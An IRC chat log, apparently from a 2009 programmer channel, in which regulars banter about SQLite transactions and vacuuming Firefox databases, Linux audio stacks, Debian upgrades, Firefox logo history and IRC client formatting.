16:37:30 <AnMaster> GregorR-L, ajax would be even worse :P
16:37:47 <GregorR-L> Well, I didn't want to navigate away from the page every time you vote.
16:39:02 <AnMaster> GregorR-L, so you prefer to open one new tab for each click?
16:39:19 <AnMaster> because that is what it does when I use firefox
16:39:40 <GregorR-L> It's not "prefer", it's "have no other alternative"
16:40:06 <AnMaster> <GregorR-L> (I should probably use the bash.org style, but this was quicker and easier) <-- you admitted there *was* an alternative above.
16:40:22 <fizzie> The "mirc style" is probably the "messages aligned at the start of nicknames", in contrast to "aligned so that last letters of the nicknames (or first letters of the messages) align up".
16:40:34 <GregorR-L> I refer to alternatives that I am not too lazy to implement.
16:40:35 <AnMaster> GregorR-L, did http://codu.org/davidslowed/?id=31 ever work?
16:41:14 <AnMaster> GregorR-L, how are they stored on the server? PostgreSQL? SQLite? Plain text file?
16:41:37 <AnMaster> GregorR-L odd choice for server side
16:41:50 <GregorR-L> I have no SQL server running on codu. It's nice.
16:42:20 <AnMaster> GregorR-L, yes, but iirc sqlite doesn't handle concurrent accesses too well?
16:42:37 <AnMaster> or do you run it as a single fcgi process or similar?
16:42:54 <GregorR-L> SQLite3, as far as I know, has no such problems.
16:44:36 <fizzie> I don't think it handles concurrency *that* well in sqlite3 either in the sense that there's quite a lot of locking going on, but certainly it handles it right in the sense that it won't break.
16:44:53 <GregorR-L> Whenever an insert is performed, the DB is locked.
16:45:05 <GregorR-L> So don't go inserting and then not closing your DB for ten minutes.
16:45:19 <AnMaster> fizzie, that was what I meant yes
16:45:49 <AnMaster> GregorR-L, um. couldn't you just insert then commit the transaction?
16:46:04 <GregorR-L> Yeah, that works too, but that involves typing "BEGIN TRANSACTION; ... COMMIT;" :P
16:46:06 <AnMaster> clearly it only needs to be locked while the transaction is actually being commited
16:46:58 <AnMaster> GregorR, doesn't sqlite3 default to implicit transaction around every SQL command if there isn't an explicit one, like that you typed
16:48:22 <GregorR-L> I /believe/ (this is beyond what I actually know for sure) that is considers your entire /connection/ to the database to be a transaction.
16:48:43 <GregorR-L> Wait, that makes no sense, it can't roll that back :P
16:49:05 <AnMaster> GregorR-L, that won't work, Since you can't do VACUUM in a transaction. yet you can do that during the connection
16:49:30 <GregorR-L> The point is it works well enough for me, and all these concerns are silly.
16:50:05 <fizzie> "By default, SQLite version 3 operates in autocommit mode. In autocommit mode, all changes to the database are committed as soon as all operations associated with the current database connection complete." and then it continues with how BEGIN TRANSACTION makes it go out of autocommit mode.
16:50:38 <AnMaster> sqlite> BEGIN TRANSACTION; VACUUM; COMMIT;
16:50:38 <AnMaster> SQL error: cannot VACUUM from within a transaction
16:51:15 <fizzie> Cannot VACUUM a database this DIRTY. What have you been DOING here, herding CATTLE?
16:51:37 <AnMaster> in case you don't know, VACUUM is that "reclaim space from DELETEs and similar" command.
16:51:52 <AnMaster> like OPTIMIZE in MySQL for example
16:53:02 <AnMaster> btw, check the sqlite files in your firefox profile directory, they can grow pretty large, VACUUM once / month or so tends to help. Both for file size and to make firefox slightly less sluggish
16:53:29 <AnMaster> do not VACUUM them while firefox is running however
16:54:27 <AnMaster> for the urlclassifier one it can usually save between 5 and 20 MB
16:57:37 <GregorR-L> gregor@debian:~$ du -sh .mozilla/firefox/
16:57:37 <GregorR-L> gregor@debian:~$ for i in `find .mozilla/firefox/ -name '*.sqlite'`; do echo 'VACUUM;' | sqlite3 $i; done
16:57:37 <GregorR-L> gregor@debian:~$ du -sh .mozilla/firefox/
16:58:31 <AnMaster> GregorR-L, why are you using stdin?
16:59:53 <AnMaster> GregorR-L, if you no longer use firefox 2.x then you can remove the urlclassifier2.sqlite, since firefox3 use urlclassifier3.sqlite only
17:00:13 <AnMaster> there are probably quite a few other files left over from older firefox versions too
17:00:56 <AnMaster> GregorR-L, isn't that just firefox rebranded by debian?
17:01:33 <AnMaster> GregorR-L, same basic thing then :P
17:02:08 <GregorR-L> Yes, but /mine/ ... breaks web sites that are too specific about their user agent checks.
17:03:30 <AnMaster> GregorR-L, trivial to fake user agent
17:04:09 <GregorR-L> Yeah, but it's /just/ entertaining enough to find the sites that still perform user agent checks in 2009 that I don't want to.
17:04:15 <AnMaster> if your website break if you don't know the user agent you are doing something wrong
17:04:25 <AnMaster> GregorR-L, example of such websites?
17:05:14 <AnMaster> # update-mime-database /usr/local/share/mime/
17:05:14 <AnMaster> update-mime-database: I don't have write permission on /usr/local/share/mime.
17:05:35 <AnMaster> # ls -l /usr/local/share/mime/
17:05:35 <AnMaster> ls: cannot access /usr/local/share/mime/: No such file or directory
17:09:02 <GregorR-L> It's been quite a while since I've found one
17:09:07 <Floor_Feline> argh... I've been resisting updating my Linux kernel for too long now. but stuff always breaks. :/
17:09:15 <GregorR-L> hotmail was one, but isn't anymore.
17:09:24 <AnMaster> Floor_Feline, why would things break?
17:09:44 <AnMaster> aren't you using in-kernel drivers?
17:10:00 <Floor_Feline> and sound packaging is so screwed up on my system, I don't even know
17:10:15 <Floor_Feline> can't install ffmpeg without uninstalling mplayer
17:10:35 <AnMaster> Floor_Feline, just upgrade mplayer to last version
17:10:43 * AnMaster wonders what shitty distro Floor_Feline is using
17:11:00 <Floor_Feline> unfortunately, I think I used a separate repository to get mplayer compiled in with a certain option
17:11:19 <Floor_Feline> in addition to some other software I needed.. at the time
17:11:31 <Floor_Feline> now there are conflicts. maybe I should just remove the repository >_>
17:11:49 <Floor_Feline> I'm not even sure what's causing it. should look into it.
17:12:09 <AnMaster> I have no clue what distro this is, but "repository" limits it to not include gentoo at least
17:13:34 <pikhq> I could've sworn that Apt was better than that.
17:14:09 <Floor_Feline> I'm guessing it's different versions of a library that happens to be in the other repository I mentioned, based on some error messages I got yesterday. But I'll have to check it out...
17:14:19 <pikhq> GregorR-L: I use Conkeror, which is a browser running on XULrunner.
17:14:27 <pikhq> I, too, get to break user agent checks!
17:14:41 <AnMaster> pikhq, then you haven't tried updating between two stable debian releases...
17:14:57 <pikhq> AnMaster: Actually, I did.
17:15:04 <pikhq> Nothing broke the last two times I did it, at least.
17:15:13 * Floor_Feline uses ChatZilla, which is an IRC client running on XULRunner! >_>
17:15:24 <AnMaster> pikhq, did it try to uninstall apt, aptitude, glibc, the kernel and several other system critical packages for you too?
17:15:49 <pikhq> A hint: dist-upgrade
17:16:02 <AnMaster> pikhq, I followed debian's own upgrade guide
17:16:10 <pikhq> Oh, and technically I used aptitude, not apt-get...
17:16:28 <pikhq> You broke your system pretty well, then.
17:16:43 <AnMaster> pikhq, was a clean install just 5 days before the next stable was released
17:16:48 <AnMaster> anyway I ditched debian since then
17:17:45 <AnMaster> pikhq, I even tried asking for help on their irc channel. no one had any clue
17:19:07 <pikhq> So... Debian Fail.
17:19:51 <GregorR-L> <3 homoerotic symbols such as the one at the left of this line.
17:20:19 <pikhq> GregorR-L: Heart, not microphallus.
17:21:07 <GregorR-L> pikhq: If "microphallus" came to mind first instead of testicles, I would consult a urologist. Because there's more wrong with that than the size.
17:21:39 <AnMaster> GregorR-L, like the fact it is ascii
17:26:30 <AnMaster> what is this license http://pastebin.ca/1463601 ? It isn't BSD or GPL, and I don't really know much about other ones.
17:29:17 <GregorR-L> Not everything I say is homoerotic.
17:29:20 <Slereah> did someone say homoerotic symbols?
17:29:29 <Floor_Feline> hm. Firefox draft logo? http://mozillalinks.org/wp/wp-content/uploads/2009/05/shiretokofirefoxicon-i2_large.png
17:29:33 <AnMaster> Slereah, um, yes. Use your scrollback
17:29:34 <GregorR-L> 8=I don't know what you're talking about=D
17:30:00 <GregorR-L> Floor_Feline: I see no appreciable difference.
17:30:07 <AnMaster> Floor_Feline, more like "Daft rendering"
17:30:40 <AnMaster> Floor_Feline, but seriously, I don't see the difference?
17:31:01 <AnMaster> Floor_Feline, looks exactly the same to me
17:31:48 <Floor_Feline> via http://mozillalinks.org/wp/2009/05/final-firefox-35-update-a-new-logo/
17:31:51 <GregorR-L> Not if it looks more like a fox :P
17:31:52 <AnMaster> Floor_Feline, hm. Hard to compare to a 32x32 icon in my taskbar
17:31:58 <GregorR-L> Seeing as that the firefox is neither on fire nor a fox.
17:32:13 <Floor_Feline> the only problem is that it doesn't look so good at a distance
17:32:39 <Floor_Feline> personally I'd favor the current one; it's more simple. Leave the tail alone :)
17:33:12 <GregorR-L> http://en.wikipedia.org/wiki/Red_Panda // I'm pretty sure the logo used to actually look like a Firefox.
17:33:19 <AnMaster> Floor_Feline, is the "current version" the one in 3.0?
17:34:09 <AnMaster> I seriously can't tell the difference when reduced to 32x32 (size of icons in kicker) or 16x16 (size in menu bar and in task bar)
17:34:20 <AnMaster> I don't usually see that logo any larger
17:34:20 <GregorR-L> http://upload.wikimedia.org/wikipedia/commons/3/3b/Iceweasel-icon.svg // I prefer this logo
17:34:30 <AnMaster> also when will thunderbird 3.x be released
17:36:36 <pikhq> CESSMASTER: Try GNU Iceweasel. ;)
17:36:41 <AnMaster> GregorR, Floor_Feline I prefer this logo: http://omploader.org/vMXVpYg
17:36:51 <AnMaster> yes that one. Not the new one.
17:38:02 <AnMaster> <GregorR-L> http://en.wikipedia.org/wiki/Red_Panda // I'm pretty sure the logo used to actually look like a Firefox. <-- err? there is no logo there?
17:38:26 <GregorR-L> AnMaster: I'm pretty sure the Firefox logo used to look somewhat like an actual Firefox.
17:38:35 <GregorR-L> AnMaster: But they've changed it to look like a fox.
17:38:47 <AnMaster> I didn't use firefox between phoenix and firefox 1.0
17:38:55 <AnMaster> and phoenix definitely didn't have such a logo
17:39:11 <AnMaster> GregorR-L, remember phoenix? :D
17:40:07 -!- oerjan has joined.
17:40:21 <AnMaster> so no one is going to comment on "<AnMaster> GregorR, Floor_Feline I prefer this logo: http://omploader.org/vMXVpYg" ?
17:41:21 <AnMaster> GregorR, that is the kdeclassic theme!
17:41:39 <GregorR-L> Yeah, I saw that logo a lot back in the day.
17:41:41 <AnMaster> which is considered classic even during KDE 3
17:42:37 <GregorR-L> I still maintain that KDE3 is better than KDE4.
17:42:48 <GregorR-L> But I use KDE4 because KDE3 is clearly not going to be maintained any more.
17:43:24 <AnMaster> Jun 17 17:01:21 tux [181932.512554] SCTP: Hash tables configured (established 65536 bind 65536) <-- wtf? This is wtf on several levels. 1) Why was SCTP enabled when I did only chat on irc. 2) What sort of app would actually enable SCTP... It is a great protocol... but nothing uses it.
17:43:47 <AnMaster> however the kernel module for it is loaded
17:44:21 <AnMaster> GregorR-L, well I'm going to change to another DE/WM I think
17:44:52 * oerjan swats AnMaster -----###
17:45:15 <oerjan> because i knew you were going to say that, and it's NOT THE POINT
17:45:47 <oerjan> comex: in a referentially transparent way, i hope
17:47:53 <AnMaster> oerjan, from wikipedia "The animals most likely to drop from the sky in a rainfall are fish and frogs, with birds coming third."
17:48:27 <AnMaster> http://en.wikipedia.org/wiki/Raining_animals
17:48:28 <oerjan> i guess if it's _really_ heavy rainfall, they could be knocked out? :D
17:49:17 <AnMaster> oerjan, what about "hagel"? Don't know English word. Somewhat like snow, but harder and as small balls of ice
17:50:30 <oerjan> i vaguely recall reading about 10cm instances
17:50:52 <oerjan> not usually appreciated, those :D
17:51:32 <GregorR-L> We describe large hail in sports terms :P
17:52:14 <GregorR-L> (I don't know if that's "we" English speakers or "we" Americans)
17:55:23 <oerjan> baseball sized hail is probable "we" Texans
17:55:56 * oerjan was reading that as "basketball"
17:56:43 <AnMaster> <oerjan> i vaguely recall reading about 10cm instances
17:56:54 <AnMaster> well yes, I have seen hail over 1 cm across
17:58:29 <AnMaster> isn't baseball like american cricket? I mean in terms of non-natives having no clue what the hell the game is about
17:58:51 <AnMaster> odd and complex rules and such
18:00:30 <GregorR-L> Whereas Cricket is, to my knowledge, the single most complex widely-played sport in existence.
18:00:32 <oerjan> up to 15 cm, says wikipedia
18:02:38 <oerjan> "But now we see that even the oddest cases have a rational explanation, involving nothing more unusual than Martians.
18:04:24 <AnMaster> oerjan, by father said he once saw 14 cm ones when he was about 17 years old.
18:04:49 <AnMaster> was mentioned in the local paper (I have seen that old article about it)
18:05:03 <AnMaster> (since I didn't believe him I went and checked in the archive at the library)
18:08:20 <ehird> David slowed his pace slightly as his ears, confused. Why, he wondered, didI turn into my ears?
18:08:53 <GregorR-L> ehird: Sorry, fekked it up on paste >_>
18:09:15 <ehird> GregorR-L: also you're missing my one where David Slowed is a name <_<
18:09:51 <ehird> GregorR-L: also there should be an order by top/bottom, and a show all (instead of just "all random")
18:10:29 <ehird> your mom is stupid
18:10:55 <ehird> 07:55:01 <Slereah> "But on account of its obvious arbitrariness, it is probably without any real significance."
18:10:56 <ehird> 07:55:19 <Slereah> Fact : people where saying Iota was totally not awesome for almost a hundred years
18:10:59 <ehird> yeah I can imagine that
18:11:01 <ehird> iota is pretty lame
18:11:14 <ehird> 08:11:22 <Slereah> Apparently, with combinators S, K and Z, you can do it without parentheses.
18:11:14 <ehird> 08:13:05 <Slereah> "By means of C, Z, and S, therefore, every formula of logic can be written without parentheses as a simple sequence of these signs and can therefore be characterized completely by a number written to the base 3."
18:11:18 <ehird> now combine them into one
18:11:26 <ehird> and we'll have an unary language that isn't a gödel encoding
18:11:59 <ehird> 08:39:02 <AnMaster> GregorR-L, so you prefer to open one new tab for each click?
18:11:59 <ehird> 08:39:19 <AnMaster> because that is what it does when I use firefox
18:12:06 <ehird> that's the worst way to browse the web i can possibly imagine
18:12:28 <GregorR-L> You've removed all context, that's not "browsing the web" :P
18:12:40 <ehird> 08:42:54 <GregorR-L> SQLite3, as far as I know, has no such problems.
18:12:47 <ehird> only one process/thread can write to an sqlite database at once
18:12:52 <GregorR-L> You've removed the entire future of that conversation.
18:12:54 <ehird> end of, and it will always be this way
18:13:06 <ehird> AnMaster: it was an honest mistake, stfu
18:13:14 <AnMaster> which is why it is best to ignore ehird while he is log reading
18:17:05 <ehird> 09:09:30 <Floor_Feline> ALSA mainly
18:17:31 <AnMaster> ehird, pulseaudio uses alsa or oss for the actual output
18:17:50 <AnMaster> ehird, I would suggest using jack instead
18:18:32 <GregorR-L> ALSA with dmix = stop using all these damn things on top of ALSA.
18:18:34 <ehird> also, pulseaudio > jack :)
18:18:54 <AnMaster> ehird, err, yes they do. For example, there are many apps that require jack to handle audio. For example rosegarden needs it to handle audio tracks (otherwise it can only handle midi tracks)
18:18:56 <Floor_Feline> I know some stuff about audio in Linux, but the system is way too complicated to try to comprehend
18:19:09 <Floor_Feline> I'll just leave it to the OS to hopefully not fuck things up beyond fixing
18:19:16 <AnMaster> ehird, and pulseaudio doesn't try to keep the latency down to the same level as jack iirc
18:19:19 <GregorR-L> AnMaster: People use Rosegarden for non-MIDI tracks?
18:19:38 <pikhq> Floor_Feline: Let's put it this way: we *finally* get something that works, and then people try breaking it again.
18:19:42 <AnMaster> GregorR-L, yes, and it also requires it for effects track
18:19:50 -!- coppro has joined.
18:19:51 <AnMaster> that is, external synth software
18:19:56 <pikhq> ALSA and dmix? THAS NOT GOOD ENOUGH! NEED MOAR BREAKING!
18:20:13 <ehird> pikhq: oh joy, you're one of the "ALSA is bunnies and unicorns that shit kitten rainbows" people
18:20:23 <AnMaster> just get a good sound card with a proper hardware mixer
18:20:26 <ehird> pikhq: i'm glad there are people less deluded so that i don't have to futz with that shit
18:20:34 <pikhq> AnMaster: Not commonly available.
18:20:52 <AnMaster> pikhq, oh? I think you could find them on newegg at least
18:21:05 <ehird> AnMaster: $0 vs >$0
18:21:15 <ehird> gee, I wonder which I'll pick
18:21:20 <ehird> oooh, 's hard one that.
18:21:33 <AnMaster> ehird, that assumes the mobo has onboard sound
18:21:43 <ehird> you can't buy a mobo without onboard sound afaik
18:21:57 <AnMaster> ehird, however there are cases where you need the >$0 one
18:22:03 <GregorR-L> ehird: You probably can, but pay more for it :P
18:22:09 <AnMaster> ehird, like if you are actually working professionally with sound.
18:22:20 <AnMaster> oh and I have seen server mobos without sound on them
18:22:25 <ehird> AnMaster: that's not strictly true, and certainly won't be in a few years.
18:22:32 <AnMaster> ehird, which of the statements
18:22:40 <ehird> 18:21 AnMaster: ehird, however there are cases where you need the >$0 one 18:22 AnMaster: ehird, like if you are actually working professionally with sound.
18:23:02 <ehird> you can work professionally with sound (but not all subfields, note) and not require a discreet soundcard.
18:23:08 <ehird> and in a few years, i don't see soundcards being useful at all
18:23:18 <ehird> AnMaster: you can buy motherboards with Creative X-Fi sound cards onboard btw.
18:23:41 <ehird> AnMaster: creative x-fi drivers on linux suck btw :P
18:23:57 <ehird> (none for years, then 64-bit only (!) binaries that suck, then 32-bit, now it's open sourced and still sucks)
18:24:43 <pikhq> I think the last Creative card with good Linux was the Soundblaster Live!
18:24:53 <pikhq> Linux support, rather.
18:24:54 <AnMaster> the emu10k1 driver rocks though
18:25:01 <ehird> 3DNow! and SoundBlaster Live!
18:25:04 <ehird> hey anyone have an audigy? >:)
18:25:11 <CESSMASTER> i had plenty of hilarious experiences trying to use an audigy on freebsd
18:25:19 <ehird> i wonder when we'll see active sound card cooling
18:25:29 <AnMaster> 00:0c.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 07)
18:25:29 <AnMaster> 00:0c.1 Input device controller: Creative Labs SB Live! Game Port (rev 07)
18:25:32 <CESSMASTER> emu10k1 on bsd is black comedy in its purest form
18:25:43 <ehird> <master of cess> bsd is black comedy in its purest form
18:25:52 <ehird> ps CESSMASTER who the fuck are you :)
18:25:52 <AnMaster> the sound is actually better than the on board
18:26:07 <AnMaster> with same mixer settings the sblive gives more bass.
18:26:43 <ehird> speaking of bass, I've forgotten what it sounds like to have a subwoofer
18:26:46 <ehird> it's been years since I've heard one :P
18:26:50 <AnMaster> and I'm pretty sure it isn't just imagination, I connected the output to the line in jack and recorded both on board and sb live to verify.
18:27:13 <ehird> 09:16:10 <pikhq> Oh, and technically I used aptitude, not apt-get...
18:27:16 <ehird> you're not allowed to do that.
18:27:21 <ehird> they'll spank you.
18:27:31 <ehird> 09:17:45 <AnMaster> pikhq, I even tried asking for help on their irc channel. no one had any clue
18:27:31 <ehird> 09:19:07 <pikhq> So... Debian Fail.
18:27:43 <ehird> 's so not the reaction that would happen if someone had that problem with gentoo :)
18:27:48 <AnMaster> oh and, I don't use it, since I have pro headphones that can actually represent the bass
18:28:04 <ehird> 09:20:19 <pikhq> GregorR-L: Heart, not microphallus.
18:28:12 <ehird> GregorR-L's right, that's some fucked up micropenis.
18:28:30 <GregorR-L> Like I said, that calls for a urology consult.
18:28:31 <ehird> 09:28:49 <GregorR-L> It's roughly equivalent to BSD>
18:28:56 <ehird> 09:29:33 <AnMaster> Slereah, um, yes. Use your scrollback
18:28:58 <ehird> he was making a joke.
18:29:04 <ehird> because he's gay, you see?
18:29:18 <GregorR-L> <ehird> because he's gay, you see?
18:29:25 <GregorR-L> Now to be taken out of context for all eternity.
18:29:26 <AnMaster> the manual documents the frequency range as 5 - 30,000 Hz btw.
18:29:33 <ehird> ah. well, again i'm not the master of detecting jokes that (a) aren't funny (b) could easily be said by you and finally (c) that had no indicator of being jokes at all
18:30:22 <ehird> http://mozillalinks.org/wp/wp-content/uploads/2009/05/firefox-logos.png ← the current one beats the other two. redonkulous
18:30:29 <AnMaster> note to self: Always include relevant context
18:30:36 <GregorR-L> "No" is not an appropriate response to "Now to be taken out of context for all eternity."
18:30:42 <AnMaster> <AnMaster> ehird, ... so was I
18:30:43 <AnMaster> <ehird> because he's gay, you see?
18:30:45 <tetha> ehird: I guess the canonical answer to that is 'retune your irony detector, as it fails' :)
18:30:56 <ehird> tetha: that's not irony
18:30:59 <AnMaster> GregorR-L, so it was just on your side
18:31:17 <AnMaster> which makes it quite a bit less funny
18:31:17 <ehird> tetha: and i'd love to see you detect irony with no contextual hints and no speech tones
18:31:20 <ehird> and no facial expressions
18:31:26 <ehird> and it being something that AnMaster could very well say seriously.
18:31:33 <ehird> protip: you can't because you're not psychic.
18:31:37 <GregorR-L> AnMaster: tunes.org says otherwise.
18:31:38 <tetha> ehird: my dice can approximate that
18:31:55 <oerjan> AnMaster: give up, there is no escape
18:32:28 <AnMaster> GregorR-L, sure. But you still forget lag. you need the timestamp there when copying it
18:32:38 <ehird> i wonder when i first used firefox
18:32:49 <AnMaster> ehird, you never used phoenix?
18:32:55 <ehird> i started using ff 03-04.
18:33:11 <ehird> http://upload.wikimedia.org/wikipedia/en/9/99/Mozilla_Firefox_logo_history.png
18:33:18 <ehird> good god, the original logo is awful
18:33:24 <AnMaster> young people today. Have no idea what it was like back on phoenix, oh and Netscape 2!
18:33:29 <ehird> http://upload.wikimedia.org/wikipedia/commons/e/e3/Firefox_Delicacies.png ← I MISS THIS.
18:33:37 <ehird> Cookies are delicious delicacies.
18:33:53 <ehird> However, in reflection of the growing acceptance and use of the Firefox browser in the Internet mainstream, the text was later changed. It was considered a bug and was "fixed" by Mike Connor to read "Cookies are pieces of information stored by web pages on your computer. They are used to remember login information and other data". The revision was regarded as more likely to be helpful for the less technically oriented computer users who were now using Fi
18:33:55 <ehird> refox—representing Mozilla's desire to appeal to mainstream users.
18:33:57 <ehird> After this happened, the following remarks were made by Blake Ross over IRC to Mike Connor:
18:33:59 <ehird> <blake2> congratulations mconnor
18:33:59 <AnMaster> ehird, is that screenshot phoenix or firefox?
18:34:01 <ehird> <blake2> you just destroyed a legend!
18:34:13 <ehird> CESSMASTER: don't care
18:34:17 <ehird> AnMaster: anything before circa 2004
18:34:23 <ehird> CESSMASTER: it's unmaintained too
18:34:38 <AnMaster> ehird, I never used firefox between phoenix and firefox 1.0
18:35:13 <ehird> http://upload.wikimedia.org/wikipedia/en/3/3e/Phoenix0.1.PNG
18:35:16 <ehird> lol @ those buttons :)
18:35:24 <ehird> lol @ the odd toolbar organization
18:35:36 <AnMaster> ehird, netscape 6 or something like that had those icons too iirc?
18:35:51 <ehird> "Continuing pressure from the Firebird community forced another change, and on February 9, 2004 the project was renamed Mozilla Firefox (or Firefox for short)."
18:35:55 <ehird> i guess i started using it a few months later
18:36:09 <Deewiant> I don't think netscape ever looked like that
18:36:19 <ehird> AnMaster: i was just getting a date
18:36:21 <AnMaster> was it firebird -> phoenix -> firefox?
18:36:23 <ehird> I know i used it post-firefox only
18:36:29 <ehird> phoenix → firebird → firefox
18:36:35 <ehird> phoenix is something or other, firebird is a database
18:36:48 <ehird> AnMaster: because mozilla.org couldn't google
18:36:56 <ehird> so were therefore helpless to avoid trodding on other people's shit
18:37:04 <AnMaster> ehird, ah, do you remember back before google
18:37:06 <Deewiant> (30-year old company or something like that)
18:37:13 <AnMaster> I remember back before search engines
18:37:18 <ehird> AnMaster: no. because I was 1 year old.
18:37:21 <AnMaster> when you used these "listings"
18:37:37 <ehird> a year before google i was busy being born.
18:37:41 <AnMaster> well, search engines did exist, but were pretty new
18:37:45 <ehird> kinda, uh, takes up time
18:37:52 <GregorR-L> I remember using AltaVista, Hotbot and Yahoo.
18:37:54 <AnMaster> ehird, yeah it does. Like 9 months
18:38:00 <pikhq> I started using it in time for the last version of Phoenix.
18:38:03 <Deewiant> It was? I always preferred Yahoo
18:38:26 <AnMaster> since we had expensive dial-up
18:38:26 <GregorR-L> Hotbot was soooo much better than Yahoo :P
18:38:30 <ehird> i used google. I'm so lame.
18:38:42 <Deewiant> I still use Yahoo from time to time
18:38:43 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
18:38:49 <ehird> AnMaster: ehhhhhh 14 isn't thaaaat young.
18:38:50 <Deewiant> It occasionally gives me what Google can't
18:39:07 <ehird> AnMaster: you only have 4-5 years on me.
18:39:36 <ehird> CESSMASTER: actually 13.
18:39:41 <AnMaster> ehird, hm? google was founded in 1996?
18:39:48 <ehird> but rounding up, 14.
18:39:55 <ehird> CESSMASTER: just like your mom.
18:40:04 <ehird> that's right. your mom is 13. truly tragic time travel incident.
18:40:10 <AnMaster> ehird, really? Well it wasn't very popular until maybe 1998 or so
18:40:16 <ehird> AnMaster: incorporated 98
18:40:19 -!- upyr[emacs] has quit ("ERC Version 5.2 (IRC client for Emacs)").
18:40:21 <ehird> CESSMASTER: anyway did you just appear or something or did you have a previous nick before or sth.
18:40:38 <Deewiant> It was made public 1997, wasn't it
18:40:40 <ehird> CESSMASTER: happens.
18:41:21 <ehird> http://www.microsoft.com/australia/ie8/competition/
18:41:28 <ehird> But you'll never find it using boring [Firefox|Safari|Lynx].
18:41:46 <ehird> tl;dr MS is offering $10k if you switch to IE8.
18:41:47 -!- upyr[emacs] has joined.
18:41:50 <Deewiant> I have Shiretoko so it just says "that browser"
18:42:20 <AnMaster> ehird, it says "that browser" here?
18:42:31 <ehird> AnMaster: You use some communist browser that it doesn't know about.
18:42:33 <AnMaster> wonder if it checks user agent
18:42:57 <AnMaster> ehird, it knows about lynx but not konq?
18:43:07 <Deewiant> It doesn't know about lynx, does it?
18:43:13 <ehird> 18:41 ehird: But you'll never find it using boring [Firefox|Safari|Lynx].
18:43:17 <ehird> Deewiant: he thinks I was serious.
18:43:24 <ehird> It's not as if it's an image or anything.
18:43:25 <Deewiant> It doesn't know about Opera either.
18:43:36 <Deewiant> ehird: I know. You did sound serious, FWIW.
18:43:45 <AnMaster> ehird, ah yes it is an image indeed
18:43:46 <ehird> Deewiant: Bloody forners.
18:43:58 <AnMaster> and yes I thought you were serious ehird
18:44:41 <lament> David \o/ slowed \o/ his \o/ pace \o/ a \o/ bit \o/ as \o/ his \o/ ears, \o/
18:44:51 <ehird> http://pleaseenjoy.com/project.php?cat=4&subcat=&pid=131&navpoint=0
18:44:56 <ehird> New York confirms it: a browser is a search engine.
18:46:23 <AnMaster> ehird, does that need video or something?
18:46:34 <AnMaster> I have no clue *what* I'm missing.
18:46:50 <AnMaster> there is a grey area above "What is a Browser?"
18:47:16 <AnMaster> looks like there should be something there
18:47:45 <GregorR-L> ehird: The weirdest thing is that everyone AGREES to the wrong definition ...
18:48:11 <AnMaster> there is no image or video there
18:48:53 <AnMaster> GregorR-L, flash? something else?
18:50:15 <AnMaster> GregorR-L, I never met people so stupid here in Sweden FYI
18:50:39 <GregorR-L> AnMaster: You don't talk to random unexpecting people on the street.
18:50:52 <GregorR-L> I don't meet people that stupid in the PL lab at Purdue either :P
18:51:10 <AnMaster> but I know some computer illiterate people.
18:51:21 <fizzie> Yes, well, when the people responsible for the Finnish "but think of the children!" Internet firewalling thing were asked "why is site X banned when it just has some links, but Google is not even though it also has as bad links" the response was that "well Google's a browser".
18:51:44 <pikhq> *Googlebot* may be, but...
18:52:13 <lament> google is certainly a browser. It browses websites.
18:52:16 <AnMaster> pikhq, no that is a spider, not a browser
18:52:35 <lament> it browses?? browses!!
18:52:36 <GregorR-L> No, a spider is an animal with eight legs and an exoskeleton.
18:52:43 <pikhq> coppro: A very crappy one. ^_^
18:52:44 <fizzie> "It's not a website, it's a browser." then someone asks what's the difference, and the answer to *that* is something completely unrelated.
18:53:34 <coppro> bear in mind that these are the same people who, if you said that IE was a browser, would go "The Internet's a browser!?"
18:53:44 <lament> i'm guessing it's myndzi.
18:54:11 <coppro> that has led to some humourous things going on in Agora
18:54:28 * GregorR-L myndzi's GregorR-L's myndzi myndzi.
18:54:28 * myndzi GregorR-L's myndzi's GregorR-L GregorR-L.
18:54:36 <AnMaster> he should fix align. To not assume mirc style. I think mirc is rather uncommon in this channel
18:54:55 <pikhq> Shows up right for me.
18:55:48 <AnMaster> pikhq, not using aligning so nicks are right aligned so all text start at the same column?
18:55:56 <fizzie> Irssi's default style is "mirc-like" (what a term), though some people use alternative themes.
18:56:13 <AnMaster> Sorry for this, to back up the above claim about mirc being uncommon here I'm forced to do this:
18:56:41 <AnMaster> irssi is by far most common here I see
18:56:43 <fizzie> The commonality of mirc is not really strictly speaking relevant; it's not like it's the only client which does it that way.
18:57:01 <AnMaster> there are a few mirc but not many
18:57:27 <AnMaster> also SimonRC, why are you using an old irssi? And a release candidate at that
18:57:36 <Deewiant> Wait, it's possible to right-align nicks in irssi?
18:57:49 <AnMaster> oh another person using ERC :D
18:57:52 <AnMaster> -upyr[emacs]- VERSION ERC Version 5.2 - an IRC client for emacs (http://emacswiki.org/cgi-bin/wiki/ERC (mailing list: erc-discuss@gnu.org))
18:58:04 <AnMaster> upyr[emacs], nice to meet you, whoever you are
18:58:24 <fizzie> Deewiant: Sure, though you'll have to set some sort of maximum length.
18:58:49 <pikhq> Any response from Gregor yet?
18:58:55 -!- kar8nga has joined.
18:59:03 <coppro> AnMaster: You should make a bot with the VERSION stats
18:59:07 <Deewiant> I've only ever seen X-chat do that.
18:59:18 <AnMaster> Deewiant, some format string thingy in /set
18:59:31 <AnMaster> -GregorR-L- VERSION xchat 2.8.6 Linux 2.6.26-2-686 [i686/2.40GHz]
18:59:34 <fizzie> Deewiant: Look at some theme from http://irssi.org/themes which does it. But the $-parameter expansion has a "use this width, right-align" syntax.
18:59:45 <Deewiant> fizzie: I've looked, haven't seen any. :-)
18:59:55 <GregorR-L> Why does xchat report the fekking speed of my processor :P
19:00:03 <Deewiant> Those thumbnails aren't too easy to search through anyway.
19:00:04 <fizzie> Deewiant: Well, I did one myself, but I think the computer it is on is currently offline.
19:00:44 <fizzie> Deewiant: http://irssi.org/themefiles/elf.png
19:01:05 <Deewiant> I.e. is the default parameter-expansion thingy
19:01:33 <fizzie> Deewiant: Yes, you just need something in there for the width, and I think a - sign for right-alignation. Or something. My theme didn't really quite work right so I sort of abandoned it.
19:01:39 <AnMaster> I find irssi a very poor irc client
19:01:45 <AnMaster> unless you stay on freenode only
19:01:50 <GregorR-L> You know what would be ENDLESSLY HILARIOUS? If Google themed their site to look like hotbot on April 1.
19:01:55 <pikhq> GregorR-L: 32-bit lawl.
19:02:04 <pikhq> AnMaster: Latency.
19:02:11 <fizzie> That's a strange comment. I haven't had any problems with irssi and multiple networks.
19:02:21 <pikhq> GregorR-L: ... Yes. VMware works just fine on 64-bit.
